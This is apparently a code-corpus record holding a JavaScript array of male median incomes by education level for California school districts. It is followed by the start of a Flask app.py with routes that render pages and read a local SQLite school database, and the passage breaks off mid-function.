33.64712142944336, "blob_id": "fea652460472c52a85ebedbe085c9ddf679e0570", "content_id": "2d7a394a1781f0263bb1d194d34ab9a44acab436", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 32498, "license_type": "no_license", "max_line_length": 57, "num_lines": 938, "path": "/static/js/menIncome.js", "repo_name": "tli2001/Best-Place-to-live", "src_encoding": "UTF-8", "text": "var maleIncome = [\n {\n 'School District': 'Hesperia',\n 'Less than high school graduate': 35326,\n 'High school graduate (includes equivalency)': 40150,\n 'Some college or associate\\'s degree': 42309,\n 'Bachelor\\'s degree': 39993,\n 'Graduate or professional degree': 80538\n },\n {\n 'School District': 'Upland',\n 'Less than high school graduate': 21489,\n 'High school graduate (includes equivalency)': 41149,\n 'Some college or associate\\'s degree': 55975,\n 'Bachelor\\'s degree': 40745,\n 'Graduate or professional degree': 58856\n },\n {\n 'School District': 'Apple Valley',\n 'Less than high school graduate': 31972,\n 'High school graduate (includes equivalency)': 44367,\n 'Some college or associate\\'s degree': 40353,\n 'Bachelor\\'s degree': 55741,\n 'Graduate or professional degree': 105386\n },\n {\n 'School District': 'Pleasanton',\n 'Less than high school graduate': 60947,\n 'High school graduate (includes equivalency)': 27074,\n 'Some college or associate\\'s degree': 77220,\n 'Bachelor\\'s degree': 116158,\n 'Graduate or professional degree': 140179\n },\n {\n 'School District': 'Lake Elsinore',\n 'Less than high school graduate': 28071,\n 'High school graduate (includes equivalency)': 40796,\n 'Some college or associate\\'s degree': 47444,\n 'Bachelor\\'s degree': 68250,\n 'Graduate or professional degree': 90127\n },\n {\n 'School District': 'Temecula Valley',\n 'Less than high school graduate': 21920,\n 'High school graduate (includes equivalency)': 48981,\n 'Some college or associate\\'s degree': 51435,\n 'Bachelor\\'s degree': 75639,\n 'Graduate or professional degree': 86816\n },\n {\n 'School District': 'Murrieta Valley',\n 'Less than high school graduate': 30580,\n 'High school graduate (includes equivalency)': 46547,\n 'Some college or associate\\'s degree': 44201,\n 'Bachelor\\'s degree': 74231,\n 'Graduate or professional degree': 81929\n },\n {\n 'School District': 'Redondo Beach',\n 'Less than high school graduate': 68210,\n 'High school graduate (includes equivalency)': 41875,\n 'Some college or associate\\'s degree': 45985,\n 'Bachelor\\'s degree': 101368,\n 'Graduate or professional degree': 102006\n },\n {\n 'School District': 'Natomas',\n 'Less than high school graduate': 22399,\n 'High school graduate (includes equivalency)': 47772,\n 'Some college or associate\\'s degree': 50926,\n 'Bachelor\\'s degree': 55888,\n 'Graduate or professional degree': 76769\n },\n {\n 'School District': 'Tracy',\n 'Less than high school graduate': 41548,\n 'High school graduate (includes equivalency)': 42343,\n 'Some college or associate\\'s degree': 55186,\n 'Bachelor\\'s degree': 75990,\n 'Graduate or professional degree': 75459\n },\n {\n 'School District': 'Alhambra',\n 'Less than high school graduate': 20209,\n 'High school graduate (includes equivalency)': 27995,\n 'Some college or associate\\'s degree': 35000,\n 'Bachelor\\'s degree': 47446,\n 'Graduate or professional degree': 91250\n },\n {\n 'School District': 'Turlock',\n 'Less than high school graduate': 26759,\n 'High school graduate (includes equivalency)': 40870,\n 'Some college or associate\\'s degree': 50009,\n 'Bachelor\\'s degree': 60219,\n 'Graduate or professional degree': 106201\n },\n {\n 'School District': 'Twin Rivers',\n 'Less than high school graduate': 26529,\n 'High school graduate (includes equivalency)': 26764,\n 'Some college or associate\\'s degree': 31262,\n 'Bachelor\\'s degree': 50102,\n 'Graduate or professional degree': 53648\n },\n {\n 'School District': 'Santa Barbara',\n 'Less than high school graduate': 28527,\n 'High school graduate (includes equivalency)': 35422,\n 'Some college or associate\\'s degree': 37332,\n 'Bachelor\\'s degree': 61127,\n 'Graduate or professional degree': 90356\n },\n {\n 'School District': 'ABC',\n 'Less than high school graduate': 30635,\n 'High school graduate (includes equivalency)': 31537,\n 'Some college or associate\\'s degree': 40784,\n 'Bachelor\\'s degree': 61495,\n 'Graduate or professional degree': 86906\n },\n {\n 'School District': 'Alameda City',\n 'Less than high school graduate': 27876,\n 'High school graduate (includes equivalency)': 35342,\n 'Some college or associate\\'s degree': 50999,\n 'Bachelor\\'s degree': 75263,\n 'Graduate or professional degree': 100019\n },\n {\n 'School District': 'Alvord',\n 'Less than high school graduate': 29255,\n 'High school graduate (includes equivalency)': 34220,\n 'Some college or associate\\'s degree': 41825,\n 'Bachelor\\'s degree': 71891,\n 'Graduate or professional degree': 73381\n },\n {\n 'School District': 'Antioch',\n 'Less than high school graduate': 31599,\n 'High school graduate (includes equivalency)': 47181,\n 'Some college or associate\\'s degree': 57128,\n 'Bachelor\\'s degree': 61096,\n 'Graduate or professional degree': 62989\n },\n {\n 'School District': 'Azusa',\n 'Less than high school graduate': 25216,\n 'High school graduate (includes equivalency)': 27420,\n 'Some college or associate\\'s degree': 35413,\n 'Bachelor\\'s degree': 41067,\n 'Graduate or professional degree': 61157\n },\n {\n 'School District': 'Baldwin Park',\n 'Less than high school graduate': 26502,\n 'High school graduate (includes equivalency)': 31740,\n 'Some college or associate\\'s degree': 31401,\n 'Bachelor\\'s degree': 35795,\n 'Graduate or professional degree': 120366\n },\n {\n 'School District': 'Bellflower',\n 'Less than high school graduate': 30602,\n 'High school graduate (includes equivalency)': 37436,\n 'Some college or associate\\'s degree': 44521,\n 'Bachelor\\'s degree': 74490,\n 'Graduate or professional degree': 91992\n },\n {\n 'School District': 'Berkeley',\n 'Less than high school graduate': 44934,\n 'High school graduate (includes equivalency)': 38997,\n 'Some college or associate\\'s degree': 34959,\n 'Bachelor\\'s degree': 55492,\n 'Graduate or professional degree': 89167\n },\n {\n 'School District': 'Burbank',\n 'Less than high school graduate': 31859,\n 'High school graduate (includes equivalency)': 36285,\n 'Some college or associate\\'s degree': 42952,\n 'Bachelor\\'s degree': 75780,\n 'Graduate or professional degree': 93306\n },\n {\n 'School District': 'Capistrano',\n 'Less than high school graduate': 32477,\n 'High school graduate (includes equivalency)': 37489,\n 'Some college or associate\\'s degree': 55332,\n 'Bachelor\\'s degree': 101376,\n 'Graduate or professional degree': 143646\n },\n {\n 'School District': 'Carlsbad',\n 'Less than high school graduate': 40051,\n 'High school graduate (includes equivalency)': 40184,\n 'Some college or associate\\'s degree': 41766,\n 'Bachelor\\'s degree': 102220,\n 'Graduate or professional degree': 119909\n },\n {\n 'School District': 'Central',\n 'Less than high school graduate': 18750,\n 'High school graduate (includes equivalency)': 29256,\n 'Some college or associate\\'s degree': 42252,\n 'Bachelor\\'s degree': 59097,\n 'Graduate or professional degree': 81611\n },\n {\n 'School District': 'Chico',\n 'Less than high school graduate': 23414,\n 'High school graduate (includes equivalency)': 20128,\n 'Some college or associate\\'s degree': 31604,\n 'Bachelor\\'s degree': 49277,\n 'Graduate or professional degree': 94272\n },\n {\n 'School District': 'Chino Valley',\n 'Less than high school graduate': 26877,\n 'High school graduate (includes equivalency)': 35928,\n 'Some college or associate\\'s degree': 51902,\n 'Bachelor\\'s degree': 66624,\n 'Graduate or professional degree': 76055\n },\n {\n 'School District': 'Clovis',\n 'Less than high school graduate': 22216,\n 'High school graduate (includes equivalency)': 31884,\n 'Some college or associate\\'s degree': 47653,\n 'Bachelor\\'s degree': 71472,\n 'Graduate or professional degree': 100369\n },\n {\n 'School District': 'Coachella Valley',\n 'Less than high school graduate': 19164,\n 'High school graduate (includes equivalency)': 32399,\n 'Some college or associate\\'s degree': 29715,\n 'Bachelor\\'s degree': 50481,\n 'Graduate or professional degree': 91810\n },\n {\n 'School District': 'Colton Joint',\n 'Less than high school graduate': 31573,\n 'High school graduate (includes equivalency)': 32300,\n 'Some college or associate\\'s degree': 43933,\n 'Bachelor\\'s degree': 50877,\n 'Graduate or professional degree': 66625\n },\n {\n 'School District': 'Compton',\n 'Less than high school graduate': 26613,\n 'High school graduate (includes equivalency)': 25932,\n 'Some college or associate\\'s degree': 42473,\n 'Bachelor\\'s degree': 56524,\n 'Graduate or professional degree': 50971\n },\n {\n 'School District': 'Conejo Valley',\n 'Less than high school graduate': 23855,\n 'High school graduate (includes equivalency)': 35844,\n 'Some college or associate\\'s degree': 51618,\n 'Bachelor\\'s degree': 101690,\n 'Graduate or professional degree': 101949\n },\n {\n 'School District': 'Corona-Norco',\n 'Less than high school graduate': 33824,\n 'High school graduate (includes equivalency)': 45467,\n 'Some college or associate\\'s degree': 51081,\n 'Bachelor\\'s degree': 71412,\n 'Graduate or professional degree': 95295\n },\n {\n 'School District': 'Covina-Valley',\n 'Less than high school graduate': 30266,\n 'High school graduate (includes equivalency)': 35290,\n 'Some college or associate\\'s degree': 47070,\n 'Bachelor\\'s degree': 50124,\n 'Graduate or professional degree': 50235\n },\n {\n 'School District': 'Davis Joint',\n 'Less than high school graduate': 21037,\n 'High school graduate (includes equivalency)': 34239,\n 'Some college or associate\\'s degree': 41276,\n 'Bachelor\\'s degree': 39021,\n 'Graduate or professional degree': 101380\n },\n {\n 'School District': 'Desert Sands',\n 'Less than high school graduate': 24993,\n 'High school graduate (includes equivalency)': 29902,\n 'Some college or associate\\'s degree': 41424,\n 'Bachelor\\'s degree': 63430,\n 'Graduate or professional degree': 87217\n },\n {\n 'School District': 'Downey',\n 'Less than high school graduate': 31375,\n 'High school graduate (includes equivalency)': 36150,\n 'Some college or associate\\'s degree': 40459,\n 'Bachelor\\'s degree': 46505,\n 'Graduate or professional degree': 92737\n },\n {\n 'School District': 'Elk Grove',\n 'Less than high school graduate': 24127,\n 'High school graduate (includes equivalency)': 31406,\n 'Some college or associate\\'s degree': 46247,\n 'Bachelor\\'s degree': 73953,\n 'Graduate or professional degree': 91113\n },\n {\n 'School District': 'Fairfield-Suisun',\n 'Less than high school graduate': 31565,\n 'High school graduate (includes equivalency)': 39365,\n 'Some college or associate\\'s degree': 47285,\n 'Bachelor\\'s degree': 72586,\n 'Graduate or professional degree': 70339\n },\n {\n 'School District': 'Folsom-Cordova',\n 'Less than high school graduate': 22542,\n 'High school graduate (includes equivalency)': 40949,\n 'Some college or associate\\'s degree': 46335,\n 'Bachelor\\'s degree': 89127,\n 'Graduate or professional degree': 103170\n },\n {\n 'School District': 'Fontana',\n 'Less than high school graduate': 29452,\n 'High school graduate (includes equivalency)': 38157,\n 'Some college or associate\\'s degree': 39702,\n 'Bachelor\\'s degree': 53330,\n 'Graduate or professional degree': 82527\n },\n {\n 'School District': 'Fremont',\n 'Less than high school graduate': 43918,\n 'High school graduate (includes equivalency)': 43462,\n 'Some college or associate\\'s degree': 55008,\n 'Bachelor\\'s degree': 98219,\n 'Graduate or professional degree': 121993\n },\n {\n 'School District': 'Fresno',\n 'Less than high school graduate': 20433,\n 'High school graduate (includes equivalency)': 25146,\n 'Some college or associate\\'s degree': 30997,\n 'Bachelor\\'s degree': 40355,\n 'Graduate or professional degree': 51702\n },\n {\n 'School District': 'Garden Grove',\n 'Less than high school graduate': 27281,\n 'High school graduate (includes equivalency)': 26874,\n 'Some college or associate\\'s degree': 42293,\n 'Bachelor\\'s degree': 52079,\n 'Graduate or professional degree': 81867\n },\n {\n 'School District': 'Gilroy',\n 'Less than high school graduate': 31171,\n 'High school graduate (includes equivalency)': 47912,\n 'Some college or associate\\'s degree': 61853,\n 'Bachelor\\'s degree': 75081,\n 'Graduate or professional degree': 90208\n },\n {\n 'School District': 'Glendale',\n 'Less than high school graduate': 19986,\n 'High school graduate (includes equivalency)': 30680,\n 'Some college or associate\\'s degree': 47096,\n 'Bachelor\\'s degree': 60423,\n 'Graduate or professional degree': 82305\n },\n {\n 'School District': 'Hacienda La Puente',\n 'Less than high school graduate': 28968,\n 'High school graduate (includes equivalency)': 31915,\n 'Some college or associate\\'s degree': 35703,\n 'Bachelor\\'s degree': 56379,\n 'Graduate or professional degree': 80788\n },\n {\n 'School District': 'Hayward',\n 'Less than high school graduate': 31678,\n 'High school graduate (includes equivalency)': 35973,\n 'Some college or associate\\'s degree': 50571,\n 'Bachelor\\'s degree': 61933,\n 'Graduate or professional degree': 90420\n },\n {\n 'School District': 'Hemet',\n 'Less than high school graduate': 30359,\n 'High school graduate (includes equivalency)': 35179,\n 'Some college or associate\\'s degree': 29623,\n 'Bachelor\\'s degree': 40380,\n 'Graduate or professional degree': 75522\n },\n {\n 'School District': 'Inglewood',\n 'Less than high school graduate': 22628,\n 'High school graduate (includes equivalency)': 30879,\n 'Some college or associate\\'s degree': 37220,\n 'Bachelor\\'s degree': 49330,\n 'Graduate or professional degree': 54610\n },\n {\n 'School District': 'Jurupa',\n 'Less than high school graduate': 28590,\n 'High school graduate (includes equivalency)': 36505,\n 'Some college or associate\\'s degree': 37149,\n 'Bachelor\\'s degree': 66265,\n 'Graduate or professional degree': 91161\n },\n {\n 'School District': 'Las Virgenes',\n 'Less than high school graduate': 21931,\n 'High school graduate (includes equivalency)': 17120,\n 'Some college or associate\\'s degree': 80068,\n 'Bachelor\\'s degree': 86163,\n 'Graduate or professional degree': 120417\n },\n {\n 'School District': 'Livermore Valley Joint',\n 'Less than high school graduate': 21267,\n 'High school graduate (includes equivalency)': 49390,\n 'Some college or associate\\'s degree': 64264,\n 'Bachelor\\'s degree': 101752,\n 'Graduate or professional degree': 140598\n },\n {\n 'School District': 'Lodi',\n 'Less than high school graduate': 26469,\n 'High school graduate (includes equivalency)': 42512,\n 'Some college or associate\\'s degree': 46493,\n 'Bachelor\\'s degree': 81475,\n 'Graduate or professional degree': 106814\n },\n {\n 'School District': 'Long Beach',\n 'Less than high school graduate': 24428,\n 'High school graduate (includes equivalency)': 31470,\n 'Some college or associate\\'s degree': 39798,\n 'Bachelor\\'s degree': 70145,\n 'Graduate or professional degree': 91518\n },\n {\n 'School District': 'Los Angeles',\n 'Less than high school graduate': 22030,\n 'High school graduate (includes equivalency)': 30179,\n 'Some college or associate\\'s degree': 36719,\n 'Bachelor\\'s degree': 58902,\n 'Graduate or professional degree': 81478\n },\n {\n 'School District': 'Lucia Mar',\n 'Less than high school graduate': 30924,\n 'High school graduate (includes equivalency)': 30243,\n 'Some college or associate\\'s degree': 49978,\n 'Bachelor\\'s degree': 63387,\n 'Graduate or professional degree': 82491\n },\n {\n 'School District': 'Lynwood',\n 'Less than high school graduate': 24580,\n 'High school graduate (includes equivalency)': 28017,\n 'Some college or associate\\'s degree': 27160,\n 'Bachelor\\'s degree': 40726,\n 'Graduate or professional degree': 37362\n },\n {\n 'School District': 'Madera',\n 'Less than high school graduate': 22177,\n 'High school graduate (includes equivalency)': 39688,\n 'Some college or associate\\'s degree': 41381,\n 'Bachelor\\'s degree': 19710,\n 'Graduate or professional degree': 73391\n },\n {\n 'School District': 'Manteca',\n 'Less than high school graduate': 30956,\n 'High school graduate (includes equivalency)': 41034,\n 'Some college or associate\\'s degree': 52445,\n 'Bachelor\\'s degree': 52604,\n 'Graduate or professional degree': 117587\n },\n {\n 'School District': 'Milpitas',\n 'Less than high school graduate': 33506,\n 'High school graduate (includes equivalency)': 40662,\n 'Some college or associate\\'s degree': 50246,\n 'Bachelor\\'s degree': 94319,\n 'Graduate or professional degree': 120867\n },\n {\n 'School District': 'Montebello',\n 'Less than high school graduate': 23627,\n 'High school graduate (includes equivalency)': 26193,\n 'Some college or associate\\'s degree': 36354,\n 'Bachelor\\'s degree': 51020,\n 'Graduate or professional degree': 64412\n },\n {\n 'School District': 'Monterey Peninsula',\n 'Less than high school graduate': 32741,\n 'High school graduate (includes equivalency)': 41147,\n 'Some college or associate\\'s degree': 45381,\n 'Bachelor\\'s degree': 59144,\n 'Graduate or professional degree': 80490\n },\n {\n 'School District': 'Moreno Valley',\n 'Less than high school graduate': 35120,\n 'High school graduate (includes equivalency)': 36131,\n 'Some college or associate\\'s degree': 40570,\n 'Bachelor\\'s degree': 34723,\n 'Graduate or professional degree': 86132\n },\n {\n 'School District': 'Morgan Hill',\n 'Less than high school graduate': 31385,\n 'High school graduate (includes equivalency)': 47727,\n 'Some college or associate\\'s degree': 60045,\n 'Bachelor\\'s degree': 101321,\n 'Graduate or professional degree': 136683\n },\n {\n 'School District': 'Morongo',\n 'Less than high school graduate': 36037,\n 'High school graduate (includes equivalency)': 24790,\n 'Some college or associate\\'s degree': 36305,\n 'Bachelor\\'s degree': 51204,\n 'Graduate or professional degree': 101466\n },\n {\n 'School District': 'Mount Diablo',\n 'Less than high school graduate': 27489,\n 'High school graduate (includes equivalency)': 38905,\n 'Some college or associate\\'s degree': 51272,\n 'Bachelor\\'s degree': 82440,\n 'Graduate or professional degree': 102187\n },\n {\n 'School District': 'Napa Valley',\n 'Less than high school graduate': 31585,\n 'High school graduate (includes equivalency)': 36356,\n 'Some college or associate\\'s degree': 46719,\n 'Bachelor\\'s degree': 66125,\n 'Graduate or professional degree': 120731\n },\n {\n 'School District': 'New Haven',\n 'Less than high school graduate': 49034,\n 'High school graduate (includes equivalency)': 41255,\n 'Some college or associate\\'s degree': 48864,\n 'Bachelor\\'s degree': 82018,\n 'Graduate or professional degree': 101340\n },\n {\n 'School District': 'Newport-Mesa',\n 'Less than high school graduate': 26586,\n 'High school graduate (includes equivalency)': 35786,\n 'Some college or associate\\'s degree': 45332,\n 'Bachelor\\'s degree': 81677,\n 'Graduate or professional degree': 103094\n },\n {\n 'School District': 'Norwalk-La Mirada',\n 'Less than high school graduate': 24131,\n 'High school graduate (includes equivalency)': 29538,\n 'Some college or associate\\'s degree': 45790,\n 'Bachelor\\'s degree': 59657,\n 'Graduate or professional degree': 67063\n },\n {\n 'School District': 'Oakland',\n 'Less than high school graduate': 23481,\n 'High school graduate (includes equivalency)': 28873,\n 'Some college or associate\\'s degree': 40333,\n 'Bachelor\\'s degree': 62378,\n 'Graduate or professional degree': 90435\n },\n {\n 'School District': 'Oceanside',\n 'Less than high school graduate': 23070,\n 'High school graduate (includes equivalency)': 28285,\n 'Some college or associate\\'s degree': 41400,\n 'Bachelor\\'s degree': 55945,\n 'Graduate or professional degree': 87021\n },\n {\n 'School District': 'Orange',\n 'Less than high school graduate': 21503,\n 'High school graduate (includes equivalency)': 38660,\n 'Some college or associate\\'s degree': 45897,\n 'Bachelor\\'s degree': 80640,\n 'Graduate or professional degree': 99740\n },\n {\n 'School District': 'Pajaro Valley Joint',\n 'Less than high school graduate': 21313,\n 'High school graduate (includes equivalency)': 27335,\n 'Some college or associate\\'s degree': 47614,\n 'Bachelor\\'s degree': 77325,\n 'Graduate or professional degree': 100056\n },\n {\n 'School District': 'Palm Springs',\n 'Less than high school graduate': 22053,\n 'High school graduate (includes equivalency)': 24450,\n 'Some college or associate\\'s degree': 34268,\n 'Bachelor\\'s degree': 42163,\n 'Graduate or professional degree': 80318\n },\n {\n 'School District': 'Palo Alto',\n 'Less than high school graduate': '-',\n 'High school graduate (includes equivalency)': 30705,\n 'Some college or associate\\'s degree': 46780,\n 'Bachelor\\'s degree': 96769,\n 'Graduate or professional degree': 150121\n },\n {\n 'School District': 'Paramount',\n 'Less than high school graduate': 31147,\n 'High school graduate (includes equivalency)': 38594,\n 'Some college or associate\\'s degree': 37827,\n 'Bachelor\\'s degree': 35061,\n 'Graduate or professional degree': 43698\n },\n {\n 'School District': 'Pasadena',\n 'Less than high school graduate': 23228,\n 'High school graduate (includes equivalency)': 32399,\n 'Some college or associate\\'s degree': 49046,\n 'Bachelor\\'s degree': 75955,\n 'Graduate or professional degree': 99517\n },\n {\n 'School District': 'Placentia-Yorba Linda',\n 'Less than high school graduate': 26042,\n 'High school graduate (includes equivalency)': 40373,\n 'Some college or associate\\'s degree': 51191,\n 'Bachelor\\'s degree': 81981,\n 'Graduate or professional degree': 102201\n },\n {\n 'School District': 'Pomona',\n 'Less than high school graduate': 20622,\n 'High school graduate (includes equivalency)': 30770,\n 'Some college or associate\\'s degree': 30620,\n 'Bachelor\\'s degree': 51805,\n 'Graduate or professional degree': 52378\n },\n {\n 'School District': 'Poway',\n 'Less than high school graduate': 34154,\n 'High school graduate (includes equivalency)': 46947,\n 'Some college or associate\\'s degree': 49592,\n 'Bachelor\\'s degree': 100128,\n 'Graduate or professional degree': 124495\n },\n {\n 'School District': 'Redlands',\n 'Less than high school graduate': 26682,\n 'High school graduate (includes equivalency)': 34168,\n 'Some college or associate\\'s degree': 47778,\n 'Bachelor\\'s degree': 71468,\n 'Graduate or professional degree': 87885\n },\n {\n 'School District': 'Rialto',\n 'Less than high school graduate': 30646,\n 'High school graduate (includes equivalency)': 33677,\n 'Some college or associate\\'s degree': 37155,\n 'Bachelor\\'s degree': 66984,\n 'Graduate or professional degree': 40214\n },\n {\n 'School District': 'West Contra Costa',\n 'Less than high school graduate': 31399,\n 'High school graduate (includes equivalency)': 36119,\n 'Some college or associate\\'s degree': 41369,\n 'Bachelor\\'s degree': 62309,\n 'Graduate or professional degree': 77030\n },\n {\n 'School District': 'Riverside',\n 'Less than high school graduate': 29167,\n 'High school graduate (includes equivalency)': 35021,\n 'Some college or associate\\'s degree': 41312,\n 'Bachelor\\'s degree': 51122,\n 'Graduate or professional degree': 80772\n },\n {\n 'School District': 'Rowland',\n 'Less than high school graduate': 31042,\n 'High school graduate (includes equivalency)': 34290,\n 'Some college or associate\\'s degree': 36362,\n 'Bachelor\\'s degree': 56193,\n 'Graduate or professional degree': 96716\n },\n {\n 'School District': 'Sacramento City',\n 'Less than high school graduate': 23589,\n 'High school graduate (includes equivalency)': 31930,\n 'Some college or associate\\'s degree': 32436,\n 'Bachelor\\'s degree': 56424,\n 'Graduate or professional degree': 83885\n },\n {\n 'School District': 'Saddleback Valley',\n 'Less than high school graduate': 33090,\n 'High school graduate (includes equivalency)': 41780,\n 'Some college or associate\\'s degree': 60554,\n 'Bachelor\\'s degree': 86723,\n 'Graduate or professional degree': 110080\n },\n {\n 'School District': 'San Bernardino City',\n 'Less than high school graduate': 23852,\n 'High school graduate (includes equivalency)': 30016,\n 'Some college or associate\\'s degree': 32042,\n 'Bachelor\\'s degree': 47425,\n 'Graduate or professional degree': 32231\n },\n {\n 'School District': 'San Diego City',\n 'Less than high school graduate': 23169,\n 'High school graduate (includes equivalency)': 33042,\n 'Some college or associate\\'s degree': 38458,\n 'Bachelor\\'s degree': 65933,\n 'Graduate or professional degree': 86001\n },\n {\n 'School District': 'San Francisco',\n 'Less than high school graduate': 26893,\n 'High school graduate (includes equivalency)': 30813,\n 'Some college or associate\\'s degree': 46058,\n 'Bachelor\\'s degree': 82493,\n 'Graduate or professional degree': 120286\n },\n {\n 'School District': 'San Jose',\n 'Less than high school graduate': 24323,\n 'High school graduate (includes equivalency)': 40927,\n 'Some college or associate\\'s degree': 46352,\n 'Bachelor\\'s degree': 100775,\n 'Graduate or professional degree': 141725\n },\n {\n 'School District': 'San Juan',\n 'Less than high school graduate': 24552,\n 'High school graduate (includes equivalency)': 28105,\n 'Some college or associate\\'s degree': 41788,\n 'Bachelor\\'s degree': 66270,\n 'Graduate or professional degree': 100986\n },\n {\n 'School District': 'San Leandro',\n 'Less than high school graduate': 34542,\n 'High school graduate (includes equivalency)': 36649,\n 'Some college or associate\\'s degree': 61322,\n 'Bachelor\\'s degree': 68146,\n 'Graduate or professional degree': 96038\n },\n {\n 'School District': 'San Lorenzo',\n 'Less than high school graduate': 31459,\n 'High school graduate (includes equivalency)': 45647,\n 'Some college or associate\\'s degree': 52464,\n 'Bachelor\\'s degree': 79123,\n 'Graduate or professional degree': 91904\n },\n {\n 'School District': 'San Luis Coastal',\n 'Less than high school graduate': 21802,\n 'High school graduate (includes equivalency)': 42022,\n 'Some college or associate\\'s degree': 48303,\n 'Bachelor\\'s degree': 66598,\n 'Graduate or professional degree': 79403\n },\n {\n 'School District': 'San Marcos',\n 'Less than high school graduate': 31250,\n 'High school graduate (includes equivalency)': 46555,\n 'Some college or associate\\'s degree': 51449,\n 'Bachelor\\'s degree': 97330,\n 'Graduate or professional degree': 100633\n },\n {\n 'School District': 'San Ramon Valley',\n 'Less than high school graduate': 3446,\n 'High school graduate (includes equivalency)': 80436,\n 'Some college or associate\\'s degree': 76294,\n 'Bachelor\\'s degree': 126012,\n 'Graduate or professional degree': 150550\n },\n {\n 'School District': 'Santa Ana',\n 'Less than high school graduate': 24091,\n 'High school graduate (includes equivalency)': 31997,\n 'Some college or associate\\'s degree': 41602,\n 'Bachelor\\'s degree': 51654,\n 'Graduate or professional degree': 82313\n },\n {\n 'School District': 'Santa Clara',\n 'Less than high school graduate': 37554,\n 'High school graduate (includes equivalency)': 43650,\n 'Some college or associate\\'s degree': 60421,\n 'Bachelor\\'s degree': 120558,\n 'Graduate or professional degree': 120718\n },\n {\n 'School District': 'Santa Monica-Malibu',\n 'Less than high school graduate': 27267,\n 'High school graduate (includes equivalency)': 28042,\n 'Some college or associate\\'s degree': 58098,\n 'Bachelor\\'s degree': 75886,\n 'Graduate or professional degree': 100319\n },\n {\n 'School District': 'Simi Valley',\n 'Less than high school graduate': 30670,\n 'High school graduate (includes equivalency)': 40565,\n 'Some college or associate\\'s degree': 65237,\n 'Bachelor\\'s degree': 70804,\n 'Graduate or professional degree': 97132\n },\n {\n 'School District': 'South San Francisco',\n 'Less than high school graduate': 28691,\n 'High school graduate (includes equivalency)': 41944,\n 'Some college or associate\\'s degree': 40718,\n 'Bachelor\\'s degree': 59761,\n 'Graduate or professional degree': 101296\n },\n {\n 'School District': 'Stockton',\n 'Less than high school graduate': 27450,\n 'High school graduate (includes equivalency)': 31937,\n 'Some college or associate\\'s degree': 42511,\n 'Bachelor\\'s degree': 40083,\n 'Graduate or professional degree': 90655\n },\n {\n 'School District': 'Torrance',\n 'Less than high school graduate': 30149,\n 'High school graduate (includes equivalency)': 31406,\n 'Some college or associate\\'s degree': 51216,\n 'Bachelor\\'s degree': 80141,\n 'Graduate or professional degree': 97418\n },\n {\n 'School District': 'Tustin',\n 'Less than high school graduate': 31884,\n 'High school graduate (includes equivalency)': 32251,\n 'Some college or associate\\'s degree': 36599,\n 'Bachelor\\'s degree': 62483,\n 'Graduate or professional degree': 91810\n },\n {\n 'School District': 'Vacaville',\n 'Less than high school graduate': 27036,\n 'High school graduate (includes equivalency)': 52966,\n 'Some college or associate\\'s degree': 63363,\n 'Bachelor\\'s degree': 70523,\n 'Graduate or professional degree': 81800\n },\n {\n 'School District': 'Vallejo City',\n 'Less than high school graduate': 24310,\n 'High school graduate (includes equivalency)': 39598,\n 'Some college or associate\\'s degree': 36297,\n 'Bachelor\\'s degree': 49976,\n 'Graduate or professional degree': 51467\n },\n {\n 'School District': 'Ventura',\n 'Less than high school graduate': 30158,\n 'High school graduate (includes equivalency)': 30665,\n 'Some college or associate\\'s degree': 56956,\n 'Bachelor\\'s degree': 68186,\n 'Graduate or professional degree': 94583\n },\n {\n 'School District': 'Visalia',\n 'Less than high school graduate': 22457,\n 'High school graduate (includes equivalency)': 36003,\n 'Some college or associate\\'s degree': 41458,\n 'Bachelor\\'s degree': 72047,\n 'Graduate or professional degree': 69003\n },\n {\n 'School District': 'Vista',\n 'Less than high school graduate': 28679,\n 'High school graduate (includes equivalency)': 35350,\n 'Some college or associate\\'s degree': 37105,\n 'Bachelor\\'s degree': 62823,\n 'Graduate or professional degree': 91136\n },\n {\n 'School District': 'Woodland Joint',\n 'Less than high school graduate': 32271,\n 'High school graduate (includes equivalency)': 40794,\n 'Some college or associate\\'s degree': 41476,\n 'Bachelor\\'s degree': 60875,\n 'Graduate or professional degree': 81411\n },\n {\n 'School District': 'Yuba City',\n 'Less than high school graduate': 25707,\n 'High school graduate (includes equivalency)': 25795,\n 'Some college or associate\\'s degree': 35226,\n 'Bachelor\\'s degree': 60190,\n 'Graduate or professional degree': 72299\n },\n {\n 'School District': 'Irvine',\n 'Less than high school graduate': 31027,\n 'High school graduate (includes equivalency)': 50270,\n 'Some college or associate\\'s degree': 45127,\n 'Bachelor\\'s degree': 80155,\n 'Graduate or professional degree': 111323\n },\n {\n 'School District': 'Val Verde',\n 'Less than high school graduate': 30329,\n 'High school graduate (includes equivalency)': 42323,\n 'Some college or associate\\'s degree': 41540,\n 'Bachelor\\'s degree': 44167,\n 'Graduate or professional degree': 71616\n }\n]" }, { "alpha_fraction": 0.6388362050056458, "alphanum_fraction": 0.6476913094520569, "avg_line_length": 26.504348754882812, "blob_id": "f00fd2a0b94ffb1684867435a316b25a657ec5c6", "content_id": "b26542276063ac1f19f0eb58722928350606e9d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3162, "license_type": "no_license", "max_line_length": 68, "num_lines": 115, "path": "/app.py", "repo_name": "tli2001/Best-Place-to-live", "src_encoding": "UTF-8", "text": "import os\nimport pandas as pd\nimport numpy as np\nfrom jinja2 import TemplateNotFound\n\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine\n\nfrom flask import Flask, jsonify, render_template\napp = Flask(__name__)\n\n\n#################################################\n# Database Setup\n#################################################\ndbfile = os.path.join('db', 'school_data.sqlite')\nengine = create_engine(f\"sqlite:///{dbfile}\")\n\n# reflect an existing database into a new model\nBase = automap_base()\n# reflect the tables\nBase.prepare(engine, reflect=True)\n\n# Save references to each table\nSchool_Data = Base.classes.school_data\n\n# Create our session (link) from Python to the DB\nsession = Session(engine)\n\n\[email protected](\"/\")\ndef render_index():\n \"\"\"Return the homepage.\"\"\"\n return render_template('index.html')\n\[email protected]('/about')\ndef render_about():\n \"\"\"Renders the About Us page.\"\"\"\n return render_template('about.html')\n\[email protected]('/tbd')\ndef render_tbd():\n \"\"\"Renders the tbd page.\"\"\"\n return render_template('tbd.html')\n\[email protected]('/map')\ndef render_map():\n \"\"\"Renders the Map page.\"\"\"\n return render_template('map.html')\n\[email protected]('/table')\ndef render_table():\n \"\"\"Renders the Table page.\"\"\"\n return render_template('table.html')\n\[email protected]('/dashboard')\ndef render_dashboard():\n \"\"\"Renders the Dashboard page.\"\"\"\n return 